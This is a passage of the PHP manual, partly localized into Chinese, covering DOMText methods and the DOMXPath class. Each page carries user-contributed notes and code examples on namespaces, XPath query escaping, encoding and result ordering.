$intValue = 3252; // Post/Zip-code
$some_element->appendChild( new DOMText( (string) $intValue) );

When not typecasting using "(string)" the XML output from $root->saveXML() would not validate.


Returns whether this text node contains whitespace in element content

  • ? DOMText::__construct
  • DOMText::isWhitespaceInElementContent ?
  • PHP Manual
  • DOMText
  • Returns whether this text node contains whitespace in element content

DOMText::isElementContentWhitespace

(No version information available, might only be in Git)

DOMText::isElementContentWhitespace — Returns whether this text node contains whitespace in element content

说明

public DOMText::isElementContentWhitespace(): bool

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

riking 28-Jun-2018 12:17
This is the recommended (W3C) function name for the equivalent:
http://php.net/manual/en/domtext.iswhitespaceinelementcontent.php

See there for additional notes.


Indicates whether this text node contains whitespace

  • ? DOMText::isElementContentWhitespace
  • DOMText::splitText ?
  • PHP Manual
  • DOMText
  • Indicates whether this text node contains whitespace

DOMText::isWhitespaceInElementContent

(PHP 5, PHP 7, PHP 8)

DOMText::isWhitespaceInElementContent — Indicates whether this text node contains whitespace

说明

public DOMText::isWhitespaceInElementContent(): bool

Indicates whether this text node contains only whitespace or it is empty. The text node is determined to contain whitespace in element content during the load of the document.

参数

此函数没有参数。

返回值

Returns true if node contains zero or more whitespace characters and nothing else. Returns false otherwise.

User Contributed Notes

JITR 07-Jul-2007 03:36
To add to `permidion at yahoo dot com''s comment:

Quite true. According to DOM Level 3 Core, the `isWhitespaceInElementContent()' method indicates, whether the node contains `whitespace in element content' (or `element content whitespace' according to the newer spec), see [1].

Btw, it seems the `isWhitespaceInElementContent()' method was replaced with the `isElementContentWhitespace' attribute in the current W3C recommendation, see [2].

I have the feeling, though, it would be more precise with the word `only' added, like: `... indicates, whether the node contains *only* element content whitespace.' This would better correspond with the fact the result is false, when there are any non-whitespace characters present (in addition to the whitespace ones), as already noted.

[1] (please concatenate the following two lines)
http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html
#core-Text3-isWhitespaceInElementContent
[2] (please concatenate the following two lines)
http://www.w3.org/TR/DOM-Level-3-Core/core.html
#Text3-isElementContentWhitespace
permidion at yahoo dot com 28-Oct-2004 08:30
if you have an xml element such as <name>Foo Bar</name> (note the space), isWhitespaceInElementContent will return false.
However it will return true for <name><name> or <name/>
so, that function can be used to determine if the element has a text content or not


Breaks this node into two nodes at the specified offset

  • ? DOMText::isWhitespaceInElementContent
  • DOMXPath ?
  • PHP Manual
  • DOMText
  • Breaks this node into two nodes at the specified offset

DOMText::splitText

(PHP 5, PHP 7, PHP 8)

DOMText::splitText — Breaks this node into two nodes at the specified offset

说明

public DOMText::splitText(int $offset): DOMText|false

Breaks this node into two nodes at the specified offset, keeping both in the tree as siblings.

After being split, this node will contain all the content up to the offset. If the original node had a parent node, the new node is inserted as the next sibling of the original node. When the offset is equal to the length of this node, the new node has no data.

参数

offset

The offset at which to split, starting from 0.

返回值

The new node of the same type, which contains all the content at and after the offset.

User Contributed Notes

Flix Cloutier 28-Oct-2013 05:31
It should be noted that $offset is a **character offset**, not a **byte offset**. This means that most other PHP string functions that deal with lengths and offsets (strlen, strpos, preg_match with PREG_OFFSET_CAPTURE, etc.) use and return values unsuitable for this method if used with multibyte strings (like UTF-8 strings).

Byte offsets can be converted to character offsets with mb_strlen:

<?php
function char_offset($string, $byte_offset, $encoding = null)
{
    $substr = substr($string, 0, $byte_offset);
    return mb_strlen($substr, $encoding ?: mb_internal_encoding());
}
?>


The DOMXPath class

(PHP 5, PHP 7, PHP 8)

简介

Supports XPath 1.0

类摘要

class DOMXPath {
/* 属性 */
public readonly DOMDocument $document;
public bool $registerNodeNamespaces;
/* 方法 */
public __construct(DOMDocument $document, bool $registerNodeNS = true)
public evaluate(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed
public query(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed
public registerNamespace(string $prefix, string $namespace): bool
public registerPhpFunctions(string|array|null $restrict = null): void
}

属性

document

registerNodeNamespaces

When set to true, namespaces in the node are registered.

更新日志

版本 | 说明
8.0.0 | The registerNodeNamespaces property has been added.

Table of Contents

  • DOMXPath::__construct — Creates a new DOMXPath object
  • DOMXPath::evaluate — Evaluates the given XPath expression and returns a typed result if possible
  • DOMXPath::query — Evaluates the given XPath expression
  • DOMXPath::registerNamespace — Registers the namespace with the DOMXPath object
  • DOMXPath::registerPhpFunctions — Register PHP functions as XPath functions

User Contributed Notes

TechNyquist 08-Jan-2020 09:16
When working with XML (as a strict format) might be very important to give a namespace to XPath object in order to make it work properly.

I was experiencing "query" always returning empty node lists, it could not find anything. Only a broad "//*" was able to show off only the root element.

Then found out that registering the namespace reported in the "xmlns" attribute of the root element in the XPath object, and writing the namespace near the elements name, made it work properly.

So for an XML like this (from a sitemap):

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <url>
        <loc>http://example.com/index.php</loc>
        <lastmod>2005-01-01</lastmod>
        <changefreq>monthly</changefreq>
        <priority>0.5</priority>
    </url>
</urlset>

I needed the following XPath configuration:

<?php

    $doc = new DOMDocument;
    $doc->load("sitemap.xml");
    $xpath = new DOMXPath($doc);
    $xpath->registerNamespace('ns', 'http://www.sitemaps.org/schemas/sitemap/0.9');
    $nodes = $xpath->query('//ns:urlset/ns:url');

?>

Then again, that "xmlns" could be provided dynamically from the root element attribute of course.
peter at softcoded dot com 03-May-2017 05:51
You may not always know at runtime whether your file has
a namespace or not. This can make it difficult to create
XPath queries. Use the seriously underdocumented
"namespaceURI" property of the documentElement of a
DOMDocument to determine if there is a namespace.
Use code such as the following:

$doc = new DOMDocument();
$doc->load($file);
$xpath = new DOMXPath($doc);
$ns = $doc->documentElement->namespaceURI;
if($ns) {
  $xpath->registerNamespace("ns", $ns);
  $nodes = $xpath->query("//ns:em[@class='glossterm']");
} else {
  $nodes = $xpath->query("//em[@class='glossterm']");
}
//look at nodes here
peter at softcoded dot com 03-May-2017 04:46
Using XPath expressions can save a lot of programming
and allow you to home in on only the nodes you want.
Suppose you want to delete all empty <p> tags.
If you create a query using the following XPath expression,
you can find <p> tags that do not have any text
(other than spaces), any attributes,
any children or comments:

$expression = "//p[not(@*)
   and not(*)
   and not(./comment())
   and normalize-space(text())='']";

This expression will only find para tags that look like:

<p>[any number of spaces]</p>
<p></p>

Imagine the code you would have to add if you used
DOMDocument::getElementsByTagName("p") instead.
archimedix32783262 at mailinator dot com 03-Sep-2014 12:03
Note that evaluate() will use the same encoding as the XML document.

So if you have a UTF-16 XML, you will have to query using UTF-16 strings.

You can use iconv() to convert from your code's encoding to the target encoding for better legibility.
dhz 05-Jan-2011 10:47
I just spent far too much time chasing this one....

When running an xpath query on a table be careful about table internal nodes (ie: <tr></tr>, and <td></td>).  If the master <table> tag is missing, then query() (and likely evaluate() also) will return unexpected results.

I had a DOMNode with a structure like this:

<td>
    <table></table>
    <table>
        <tr>
            <td></td>
        </tr>
        <tr>
            <td></td>
            <td></td>
        </tr>
    </table>
</td>

Upon which I was trying to do a relative query (ie: <?php $xpath_obj->query('my/x/path', $relative_node); ?>).

But because of the lone outer <td></td> tags, the inner tags were being invalidated, while the nodes were still recognized.  Meaning that the following query would work:

<?php $xpath_obj->query('*[2]/*[*[2]]', $relative_node); ?>

But when replacing any of the "*" tokens with the corresponding (and valid) "table", "tr", or "td" tokens the query would inexplicably break.
Mark Omohundro, ajamyajax dot com 14-Dec-2008 09:15
<?php
// to retrieve selected html data, try these DomXPath examples:

$file = $DOCUMENT_ROOT. "test.html";
$doc = new DOMDocument();
$doc->loadHTMLFile($file);

$xpath = new DOMXpath($doc);

// example 1: for everything with an id
//$elements = $xpath->query("//*[@id]");

// example 2: for node data in a selected id
//$elements = $xpath->query("/html/body/div[@id='yourTagIdHere']");

// example 3: same as above with wildcard
$elements = $xpath->query("*/div[@id='yourTagIdHere']");

if (!is_null($elements)) {
  foreach ($elements as $element) {
    echo "<br/>[". $element->nodeName. "]";

    $nodes = $element->childNodes;
    foreach ($nodes as $node) {
      echo $node->nodeValue. "\n";
    }
  }
}
?>


Creates a new DOMXPath object

  • ? DOMXPath
  • DOMXPath::evaluate ?
  • PHP Manual
  • DOMXPath
  • Creates a new DOMXPath object

DOMXPath::__construct

(PHP 5, PHP 7, PHP 8)

DOMXPath::__construct — Creates a new DOMXPath object

说明

public DOMXPath::__construct(DOMDocument $document, bool $registerNodeNS = true)

Creates a new DOMXPath object.

参数

document

The DOMDocument associated with the DOMXPath.

User Contributed Notes

thsoft at vipmail dot hu 04-Jul-2007 04:57
As of PHP 5.2.0, DOMXPath object implements XPath 1.0.
Saulo Vallory 26-Jun-2007 03:23
The DOMXPath object doesn't create a reference to the document. If you load a new xml using either load, loadXML or loadHTML functions the DOMXPath object will still query and evaluate over the source in the DOMDocument when it was created.


Evaluates the given XPath expression and returns a typed result if possible

  • ? DOMXPath::__construct
  • DOMXPath::query ?
  • PHP Manual
  • DOMXPath
  • Evaluates the given XPath expression and returns a typed result if possible

DOMXPath::evaluate

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

DOMXPath::evaluate — Evaluates the given XPath expression and returns a typed result if possible

说明

public DOMXPath::evaluate(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed

Executes the given XPath expression and returns a typed result if possible.

参数

expression

The XPath expression to execute.

contextNode

The optional contextNode can be specified for doing relative XPath queries. By default, the queries are relative to the root element.

registerNodeNS

The optional registerNodeNS can be specified to disable automatic registration of the context node.

返回值

Returns a typed result if possible or a DOMNodeList containing all nodes matching the given XPath expression.

If the expression is malformed or the contextNode is invalid, DOMXPath::evaluate() returns false.

示例

Example #1 Getting the count of all the english books

<?php

$doc = new DOMDocument;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// our query is relative to the tbody node
$query = 'count(row/entry[. = "en"])';

$entries = $xpath->evaluate($query, $tbody);
echo "There are $entries english books\n";

?>

以上示例会输出：

There are 2 english books

参见

  • DOMXPath::query() - Evaluates the given XPath expression

User Contributed Notes

danny at webdevelopers dot eu 28-Jan-2020 11:36
The only way how to distinguish FALSE returned value from syntax error FALSE is to re-run the XPath expression wrapped in string() function. If must return empty string. If it returns FALSE again then it is an error.

<?php

        $ret=$this->xp->evaluate($eval, $context);

        // Error detection: DOMXPath::evaluate() returns FALSE on error
        // so does DOMXPath::evaluate("boolean(/nothing)")
        // @workaround webdevelopers.eu
        if ($ret === false && $this->xp->evaluate("string($eval)", $context) === false) {
            throw new Exception("Invalid XPath expression ".json_encode($eval), 3491);
        }
?>
aazaharov81 at gmail dot com 14-Jan-2015 12:48
To query DOMNodes by their HTML classes, use such snippet
<?php

// CssClassXPathSelector
function ccxs($class) {
    return '[contains(concat(" ", normalize-space(@class), " "), " ' . $class . ' ")]';
}

 // then just
 $domitems = $this->xpath("//*[@id='searchResultsRows']//a" . ccxs('listing_row'));
?>
daniel at danielnorton dot com 25-Jun-2011 09:56
Note that this method does not provide any means to distinguish between a successful result that returns FALSE and an error.

For example, this will succeed and return FALSE:

<?php $xpath->evaluate("1 = 0"); ?>

One workaround when you know you are expecting a Boolean is to wrap the result with string(). e.g.

<?php $xpath->evaluate("string(1 = 0)"); ?>

This will return a string "false" on success, or the Boolean FALSE on error.
Damien Bezborodov 28-Mar-2011 06:13
If your expression returns a node set, you will get a DOMNodeList instead of a typed result. Instead, try modifying your expression from "//node[1]" to "string(//node[1])".
yuriucsal at NOSPAM dot yahoo dot com dot br 06-Mar-2005 12:55
this class can substitute the method evaluate while it is not validated. Made for Yuri Bastos and Jo?o Gilberto Magalh?es.

<?php

    class XPtahQuery
    {
        // function returns a DOMNodeList from a relative xPath
        public static function selectNodes($pNode, $xPath)
        {

            $pos = strpos(self::getFullXpath($pNode),"/",1);
            $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
            $xPathQueryFull = $xPathQuery. $xPath;
            $domXPath = new DOMXPath($pNode->ownerDocument);
            $rNodeList = $domXPath->query($xPathQueryFull);

                return $rNodeList;
        }
        // function returns a DOMNode from a xPath from other DOMNode
        public static function selectSingleNode($pNode, $xPath)
        {

            $pos = strpos(self::getFullXpath($pNode),"/",1);
            $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
            $xPathQueryFull = $xPathQuery. $xPath;
            $domXPath = new DOMXPath($pNode->ownerDocument);
            $rNode = $domXPath->query($xPathQueryFull)->item(0);

                return $rNode;
        }
        //utilitaries functions off selectSingleNode
        private function getNodePos($pNode, $nodeName)
        {
            if($pNode == null)
                {
                        return 0;
            }
            else
            {
                $var = 0;
                    if ($pNode->previousSibling != null)
                    {
                    if ($pNode->previousSibling->nodeName == $nodeName)
                    {
                        $var = 1;
                    }
                    }
                    return self::getNodePos($pNode->previousSibling, $nodeName) + $var;
            }
        }
        //utilitaries functions off selectSingleNode
        private function getFullXpath($pNode)
        {
            if($pNode == null)
                {
                        return "";
            }
            else
            {

                return self::getFullXpath($pNode->parentNode) . "/" . $pNode->nodeName . "[" .strval(self::getNodePos($pNode, $pNode->nodeName)+1) . "]";//+1 to get the real xPath index

            }
        }
    }
?>


Evaluates the given XPath expression

  • ? DOMXPath::evaluate
  • DOMXPath::registerNamespace ?
  • PHP Manual
  • DOMXPath
  • Evaluates the given XPath expression

DOMXPath::query

(PHP 5, PHP 7, PHP 8)

DOMXPath::query — Evaluates the given XPath expression

说明

public DOMXPath::query(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed

Executes the given XPath expression.

参数

expression

The XPath expression to execute.

contextNode

The optional contextNode can be specified for doing relative XPath queries. By default, the queries are relative to the root element.

registerNodeNS

The optional registerNodeNS can be specified to disable automatic registration of the context node.

返回值

Returns a DOMNodeList containing all nodes matching the given XPath expression. Any expression which does not return nodes will return an empty DOMNodeList.

If the expression is malformed or the contextNode is invalid, DOMXPath::query() returns false.

示例

Example #1 Getting all the english books

<?php

$doc = new DOMDocument;

// We don't want to bother with white spaces
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// We start from the root element
$query = '//book/chapter/para/informaltable/tgroup/tbody/row/entry[. = "en"]';

$entries = $xpath->query($query);

foreach ($entries as $entry) {
echo "Found {$entry->previousSibling->previousSibling->nodeValue}," .
" by {$entry->previousSibling->nodeValue}\n";
}
?>

以上示例会输出：

Found The Grapes of Wrath, by John Steinbeck
Found The Pearl, by John Steinbeck

We can also use the contextNode parameter to shorten our expression:

<?php

$doc = new DOMDocument;
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// our query is relative to the tbody node
$query = 'row/entry[. = "en"]';

$entries = $xpath->query($query, $tbody);

foreach ($entries as $entry) {
echo "Found {$entry->previousSibling->previousSibling->nodeValue}," .
" by {$entry->previousSibling->nodeValue}\n";
}
?>

参见

  • DOMXPath::evaluate() - Evaluates the given XPath expression and returns a typed result if possible

User Contributed Notes

chris dot russo99 at gmail dot com 17-Aug-2016 03:58
If you can't find a solution for PHP XPATH case sensitivity, you can always try this approach:

http://fsockopen.com/php-programming/your-final-stop-for-php-xpath-case-insensitive

Instead of inserting PHP functions into a XPATH object, convert the XPATH object into an Array(), and then use any PHP function, the regular way.
ikmahesh at cdac dot in 08-Jul-2015 09:29
The parameters for $xPath->query() method is case sensitive.
It matches IDs exact words.
RiKdnUa at mail dot ru 17-Sep-2013 04:26
Пример XPath запроса к XML документу. XML документ содержить элементы с именами из НЕлатинских символов (кириллица). При использовании в XPath запросе предиката, функция DOMXPath::query() выдает предупреждение и запрос не работает. Чтобы запрос работал, надо явно указывать ось. Файл этого примера должен быть в кодировке WINDOWS-1251. Тестировал в PHP 5.2.9-2 и PHP 5.2.17

Example XPath-query to the XML-document. XML-document contains an elements with the names of non-Latin characters (cyrillic). When used predicate in XPath-query, function DOMXPath::query() gives a warning and query does not work. In order to earned the query, it is necessary to explicitly specify the axis. The file of this example is to be in the encoding WINDOWS-1251. Tested in PHP 5.2.9-2 and PHP 5.2.17
<?php
ini_set("display_errors","on");
error_reporting(-1);
function utf8encode($str){return iconv('WINDOWS-1251', 'UTF-8', $str);}
$xml="<?xml version='1.0' encoding='WINDOWS-1251'?>
<часть>
<ссылка href='yandex.com'>Яндекс</ссылка>
<ссылка href='rik.dn.ua/fotopan.php'>г.Донецк</ссылка>
</часть>
";
$document=new domDocument();
$document->preserveWhiteSpace=false;
$document->loadXML($xml);
$domxpath=new domXpath($document);
$list=$domxpath->query(utf8encode('/child::часть/child::ссылка'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/child::часть/child::ссылка[position()=1]'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка[1]'));//Warning: DOMXPath::query() [domxpath.query]: Invalid expression in ...
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка[position()=1]'));//Warning: DOMXPath::query() [domxpath.query]: Invalid expression in ...
echo '$list->length='.$list->length."\n<br/>\n";
?>
info at syncgw dot com 22-Sep-2011 09:05
A warning to all PHP programmer using this function PHP 5.0.0.0: We needed an equivalent to upper-case() function (is not available in XPath 1.0).

XML-Document:

<Rec>
<SourceRef>./c:calendar2</SourceRef>
<SourceRef>./c:calendar</SourceRef>
</Rec>

using

query('//DataStore[translate(SourceRef,"abcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZ")="./C:CALENDAR"]/.')

returns ZERO matches.

If you change XML-Source to

<Rec>
<SourceRef>./c:calendar</SourceRef>
<SourceRef>./c:calendar2</SourceRef>
</Rec>

everything works fine
yuriscom at gmail dot com 07-Sep-2011 10:29
I hope it will be helpful for someone:

I spent some time to solve the problem when you query a string with quotes inside.

Suppose you have:
$parameter = "aaa \"bbb\"";
$domxpath->query("//path[text()=\"".$parameter."\""];

In versions > 5.3.0 there is registerPhpFunctions where you can put an addslashes. But in older version you cannot do it in simple way.

So the solution is to use a concat function. So when you have a substring with " inside, wrap it with '. And when you have a substring with ', then wrap with in ".

The code is:

<?php
$dom = new DOMDocument;
$dom->loadXML("<name>'bla' \"bla\" bla</name>");
$xpath = new DOMXPath($dom);
$nodeList = $xpath->query("//name[text()=concat(\"'bla' \" ,'\"bla\"' ,\" bla\")]");
?>

Below is the function that receives a string and returns a concat pattern for the xpath query.

<?php
    function getPattern_MQ($pattern) {
        // initiating an array of substrings
        $ar = array();
        // points to the current position in a string
        $offset = 0;
        $strlen = strlen($pattern);
        while (true) {
            // find a position of quotes
            $qPos = strpos($pattern, "\"", $offset);

            if (!$qPos) {
                // no more quotes
                $leftOver = $offset - $strlen;
                if ($leftOver < 0) {
                    $string = substr($pattern, $leftOver);
                    $ar[] = "\"" . $string . "\"";
                }
                break;
            }
            // add the whole substring before the quotes into the array
            $ar[] = "\"" . substr($pattern, $offset, ($qPos - $offset)) . "\"";
            // add the quotes wrapped with single quot
            $ar[] = "'" . substr($pattern, $qPos, 1) . "'";
            $offset = $qPos + 1;
        }
        // join the array to get: concat("aaa",'"',"bbb",'"');
        $pattern = "concat(''," . join(",", $dynamicPatternsAr) . ")";
        return $pattern;
    }
?>
chris AT cmbuckley DOT co DOT uk 14-Apr-2011 07:31
To help with the problem where the default namespace is not registered with the DOMXPath object, you can use the following replacement to update your paths accordingly:

<?php

$xml = <<<EOS
<root xmlns="urn:test">
    <foo>bar</foo>
</root>
EOS;

$expression = '//foo';
$prefix = 'fakeprefix';

$doc = new DOMDocument();
$doc->loadXML($xml);

$context = $doc->documentElement; // or whichever element you choose
$xpath = new DOMXPath($doc);

// register namespace as below, and apply a regex to the expression
if (null !== $context->namespaceURI) {
    $xpath->registerNamespace($prefix, $context->namespaceURI);
    $expression = preg_replace('#(::|/\s*|\A)(?![/@].+?|[a-z\-]+::)#', '$1' . $prefix . ':$2', $expression);
    var_dump($expression); // string(16) "//fakeprefix:foo"
}

$foo = $xpath->query($expression, $context)->item(0);
var_dump($doc->saveXML($foo)); // string(14) "<foo>bar</foo>"

?>
kkez at example dot com 03-Sep-2010 07:51
If the query() function seems to ignore your $contextnode, and instead returns all the tags in the document, try to use a relative path (use a . in front of the query):

<?php
    $xml = "<?xml version='1.0' encoding='UTF-8'?>
        <test>
            <tag1>
                <uselesstag>
                    <tag2>test</tag2>
                </uselesstag>
            </tag1>
            <tag2>test2</tag2>
        </test>";

    $dom = new DomDocument();
    $dom->loadXML($xml);
    $xpath = new DomXPath($dom);

    $tag1 = $dom->getElementsByTagName("tag1")->item(0);

    echo $xpath->query("//tag2")->length; //output 2 -> correct
    echo $xpath->query("//tag2", $tag1)->length; //output 2 -> wrong, the query is not relative
    echo $xpath->query(".//tag2", $tag1)->length; //output 1 -> correct (note the dot in front of //)
?>

See that i couldn't use $xpath->query("tag2", $tag1) as per the documentation, since "tag2" is not a direct child of "tag1".
I don't know why this note was deleted, i just tested it and it's correct.
It's not a bug, it's simply not written in the documentation.
Anonymous 27-Nov-2009 12:26
I found this useful for building page templates

<?php
$xsl = new DOMDocument;
$xsl->load('layout.xsl');

// Set the <xsl:include> href attribute, the inner stylesheet to include in this layout
$xpath = new DomXPath($xsl);
$res = $xpath->query('//xsl:include');
$res->item(0)->setAttribute('href','page.xsl');
$xsl->save('media/xsl/layout.xsl');
?>
Niklas 27-Aug-2008 02:36
For XPath escaping use the following method (of course it could be more efficient).
<?php
public function xpathescape($string)
{
$result = 'concat(';

for($i=0, $j=strlen($string); $i<$j; ++$i)
{
if($i > 0)
$result .= ",";

if($string[$i] == '\'')
$result .= "\"".$string[$i]."\"";
else
$result .= '\''.$string[$i].'\'';
}

$result .= ')';

return $result;
}
?>

Use it this way:
<php
$xpath->query('//example[sub='.xpathescape($acomplexstring).']');

?>
adam dot prall at thinkingman dot com 19-Jul-2008 09:01
If you're wondering, like I was, why your XPath queries are not returning any of the new DOMElements you create in your (X)HTML documents, and only the ones originally loaded in with (for example) loadXML(), this is why; if you're doing things right, you have registered the nameSpace 'html' after creating your DOMXPath object thus:

<?php

class XPathQueryLength {
     private $nameSpace = '';
     function __construct(DOMDocument $doc) {
          $this->xpath = new DOMXPath($this->doc);
          $this->xpath->registerNamespace(
                 'html','http://www.w3.org/1999/xhtml' );
     }
     function queryLength($query) {
          return $this->xpath->query($query)->length;
     }
}

?>

...but don't forget that when adding new elements to the above DOMDocument $doc, to use createElementNS() instead of createElement(), otherwise you'll have this problem:

<?php

//$doc is a previously loaded XHTML document containing a normal html, head and body structure
//$body is the first selected tag using $doc->getElementsByTagName('body');

$pTag = $doc->createElement('p','This is a new paragraph!');
$body->appendChild($pTag);

$xPath = new XPathQueryLength($doc);
print $xPath->queryLength('//html:p');

output: 0

print $xPath->queryLength('//p');

output: 1

?>

So do this instead:

<?php

//$doc is a previously loaded XHTML document containing a normal html, head and body structure
//$body is the first selected tag using $doc->getElementsByTagName('body');

$pTag = $doc->createElementNS('http://www.w3.org/1999/xhtml','p','This is a new paragraph!');
$body->appendChild($pTag);

$xPath = new XPathQueryLength($doc);
print $xPath->queryLength('//html:p');

output: 2

print $xPath->queryLength('//p');

output: 0

?>

The resulting XHTML file from both example scripts looks much like this:

<html>
  <head></head>
  <body>
     <p>This is a hardcoded paragraph.</p>
     <p>This is a new paragraph!</p>
  </body>
</html>

...so you would think that a paragraph is a paragraph is a paragraph, since you never see the prefix, as in "<html:p>This is a new paragraph!</html:p>".

This may seem glaringly obvious, but I was writing a class that converts CSS queries into XPath queries, and the fact that a namespace had been registered was rather buried in the code.

We love the DOM, the DOM is good to us.
Nibinaear 03-Mar-2008 06:15
I've searched the entire web looking for a way to update / modify/ change/ alter the elements of an xml file and found NOTHING!

So here it is, the defninitive way to "Change XML elements with PHP" rather than adding / appending new ones. This uses XPATH:

<?php

// Create a DOMDocument instance
$xml = new DOMDocument;

// Ignore whitespace between nodes (default: true)
$xml->preserveWhiteSpace = false;

$file='about.xml';

// Load the XML data source
$xml->Load($file);

$xpath = new DOMXPath($xml);

$query='/regions/branch';

$entries = $xpath->query($query);

foreach ($entries as $entry)
{
  $entry->firstChild->nodeValue="like this!";
  echo $entry->firstChild->nodeValue;
}

$xml->save($file);

?>
ondrej dot fischer at 4internet dot cz 25-Oct-2007 06:46
Unfortunately PHP's DOM extension doesn't support use of:
<?xml-stylesheet type="text/xsl" ... ?>
processing instruction.
Here is an example, how to implement it using XPath query and extending DOMDocument by a method output().

<?php

// This simple function adds missing direct usage of anonymous instances
// in PHP5's reference model
function a($var) {
   return $var;
}

// Extended DOMDocument class
class MyDOMDocument extends DOMDocument
{

   public function output()
   {
      $stylesheets = array();
      $PIs = a(new DOMXPath($this))
                  ->query('/processing-instruction("xml-stylesheet")');

      foreach($PIs as $PI)
      {
         // This might be implemented cleaner by regular parsing
         // of DOMProcessingInstruction::data property
         if(ereg('type *= *"text/xsl" +href *= *"([^"]+)"', $PI->data, $mem))
         {
            // Here should be verified, that XSL file exists.
            a($stylesheets[] = new DOMDocument())->load($mem[1]);
         }
      }

      if($stylesheets)
      {
         $processor = new XSLTProcessor();
         foreach($stylesheets as $stylesheet)
            $processor->importStylesheet($stylesheet);
         return $processor->transformToDoc($this);
      }
      // If no stylesheet instructions present, return self directly
      else return $this;

   }
}

?>

Usage:

<?php

$document = new MyDOMDocument();
$document->load('my.xml');
echo $document->output()->saveXML();

?>

With following file my.xml:

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="my.xsl" ?>
<my-root />

and existing file my.xsl that code will transform the xml file using my.xsl and output the result.
jbarnett at flowershopnetwork dot com 11-Sep-2007 01:46
The order of nodes in the return value is not guaranteed.

When my code was on an old server, the returned DOMNodeList was in document order.  On the new server, the returned DOMNodeList is in a consistent order, but it is not in document order.

PHP passes this function call off to the xmlXPathEvalExpression() function in libxml.  That function in libxml only accepts two arguments - the same two this PHP function accepts.  There must have been a change in the libxml version from the old server to the new server, and that libxml behaves differently.

This would be okay if PHP had a way to compare nodes so I can resort the nodes manually, but there is not.

So, there is no guaranteed way to get an ordered list of nodes like DOM 3 XPath provides.
Hayley Watson 12-Aug-2007 05:43
Note that if your DOMDocument was loaded from HTML, where element and attribute names are case-insensitive, the DOM parser converts them all to lower-case, so your XPath queries will have to as well; '//A/@HREF' won't find anything even if the original HTML contained "<A HREF='example.com'>".
nicolas_rainardNOSPAM at yahoo dot fr 10-Jul-2007 02:04
Please note that what clochix says is valid for *any* document which has a default namespace (as it is the case for XHTML).

This document :

<?xml version="1.0" encoding="UTF-8" ?>

<root xmlns="http://www.exemple.org/namespace">

    <element id="1">
    ...
    </element>

    <element id="2">
    ...
    </element>

</element>

must be accessed this way :

$document = new DOMDocument();
$document->load('document.xml');

$xpath = new DOMXPath($document);
$xpath->registerNameSpace('fakeprefix', 'http://www.exemple.org/namespace');

$elements = $xpath->query('//fakeprefix:element');

Of course, there is no prefix in the original document, but the DOMXPath class *needs* one, whatever it is, if you use a default namespace. It *doesn't work* if you specify an empty prefix like this :

$xpath->registerNameSpace('', 'http://www.exemple.org/namespace');

Hope this help to spare some time...
clochix at clochix dot net 01-Mar-2007 04:05
If you want to perform queries on XHTML documents, you must fix a default namespace:

<?php
$doc = new DOMDocument;
$doc->preserveWhiteSpace = true;
$doc->resolveExternals = true; // for character entities
$doc->load("http://www.w3.org/");
$xpath = new DOMXPath($doc);
// won't work
$entries = $xpath->query("//div");
// you should use :
$xpath->registerNamespace("html", "http://www.w3.org/1999/xhtml");
$entries = $xpath->query("//html:div");
?>
jakob dot voss at nichtich dot de 14-Nov-2005 12:33
You can transform the result nodes into new DOMDocument objects this way:

<?php
$result = $xpath->query($query);
$resultNode = $result->item(0);
$newDom = new DOMDocument;
$newDom->appendChild($newDom->importNode($resultNode,1));

print "<pre>" . htmlspecialchars($newDom->saveXML()) . "</pre>";
?>
Eric Hanson 12-Jul-2005 05:40
Two great XPath references follow.

XPath in Five Paragraphs (finally!):
http://www.rpbourret.com/xml/XPathIn5.htm

The w3c spec actually has a bunch of helpful examples:
http://www.w3.org/TR/xpath#location-paths


Registers the namespace with the DOMXPath object

  • ? DOMXPath::query
  • DOMXPath::registerPhpFunctions ?
  • PHP Manual
  • DOMXPath
  • Registers the namespace with the DOMXPath object

DOMXPath::registerNamespace

(PHP 5, PHP 7, PHP 8)

DOMXPath::registerNamespace — Registers the namespace with the DOMXPath object

说明

public DOMXPath::registerNamespace(string $prefix, string $namespace): bool

Registers the namespace and prefix with the DOMXPath object.

参数

prefix

The prefix.

namespace

The URI of the namespace.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

igor dot pellegrini at diespam-berlinonline dot de 10-Mar-2015 07:32
The documentation is not really detailed.
Probably someone is also interested in the possibility of unregistering the namespace.

Worths to note that the original libxml function "xmlXPathRegisterNs()"

* Does NOT accept NULL or empty string for the argument "$prefix".

   and

* Unregisters the namespace if the "$namespaceURI" argument is NULL.

Here the documentation:
http://xmlsoft.org/html/libxml-xpathInternals.html#xmlXPathRegisterNs
xmedeko at gmail dot com 20-Sep-2011 04:58
A general way to register the root default namespace:

<?php
$xml = new DomDocument();
$xml->load('data.xml');
$xpath = new DOMXPath($xml);
$rootNamespace = $xml->lookupNamespaceUri($xml->namespaceURI);
$xpath->registerNamespace('x', $rootNamespace);
?>

And then just query:

<?php $elementList = $xpath->query('//x:items/x:name'); ?>
dulao5 at gmail dot com 16-Jun-2009 12:01
The following code can work for XML default namespace.
<?php
$xml = <<<EOT
